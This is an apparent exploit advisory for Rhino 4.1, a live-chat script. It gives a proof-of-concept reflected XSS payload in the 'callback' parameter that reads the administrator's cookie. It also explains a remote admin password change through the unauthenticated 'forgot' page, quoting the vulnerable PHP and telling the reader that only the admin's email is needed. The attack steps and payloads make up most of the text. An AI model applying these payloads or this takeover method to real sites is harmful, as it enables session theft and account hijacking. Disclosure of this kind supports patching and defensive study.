source: https://www.securityfocus.com/bid/65628/info

Rhino is prone to a cross-site scripting vulnerability and security-bypass vulnerability .

An attacker can exploit these issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, bypass security restrictions to obtain sensitive information, or perform unauthorized actions. Other attacks may also be possible.

Rhino 4.1 is vulnerable; other versions may also be affected. 

==========================
PoC-Exploit
==========================

// Non-Persistent XSS  with "callback" Parameter in
/include/proactive_cross.php

(1) Under "callback" set your GET Parameter Callback to
"><script>alert(document.cookie)</script>

The Non-Persistent XSS will be executed for the Administrator in the
browser (he directly logged in because you chatting with him)

// Remote Change Password - with "Forgot.php"

http://[target]/rhino/operator/index.php?p=forgot

(1) in the forgot file there's no condition if the user logged in or not,
so we can look deeply in the file in line (27-67)

if ($_SERVER["REQUEST_METHOD"] == 'POST' && isset($_POST['newP'])) {
    $defaults = $_POST;

    $femail = filter_var($_POST['f_email'], FILTER_SANITIZE_EMAIL);
    $pass = $_POST['f_pass'];
    $newpass = $_POST['f_newpass'];

    if ($pass != $newpass) {
        $errors['e1'] = $tl['error']['e10'];
    } elseif (strlen($pass) <= '5') {
        $errors['e1'] = $tl['error']['e11'];
    }

    if ($defaults['f_email'] == '' || !filter_var($defaults['f_email'],
FILTER_VALIDATE_EMAIL)) {
        $errors['e'] = $tl['error']['e3'];
    }

    $fwhen = 0;

    $user_check = $lsuserlogin->lsForgotpassword($femail, $fwhen);
    if ($user_check == true && count($errors) == 0) {

    // The new password encrypt with hash_hmac
    $passcrypt = hash_hmac('sha256', $pass, DB_PASS_HASH);

    $result2 = $lsdb->query('UPDATE '.DB_PREFIX.'user SET password =
"'.$passcrypt.'", forgot = 0 WHERE email = "'.smartsql($femail).'"');

    $result = $lsdb->query('SELECT username FROM '.DB_PREFIX.'user WHERE
email = "'.smartsql($femail).'" LIMIT 1');
    $row = $result->fetch_assoc();

    if (!$result) {
        ls_redirect(JAK_PARSE_ERROR);
    } else {
        $lsuserlogin->lsLogin($row['username'], $pass, 0);
        ls_redirect(BASE_URL);
    }

    } else {
        $errorsf = $errors;
    }
}

So there is an MySQL Query to execute if the email in the database (Show up
the change password settings).

ALL YOU HAVE TO DO IS DISCOVER THE E-MAIL ADDRESS THAT PUTTED WHEN ADMIN
INSTALLED THE SCRIPT.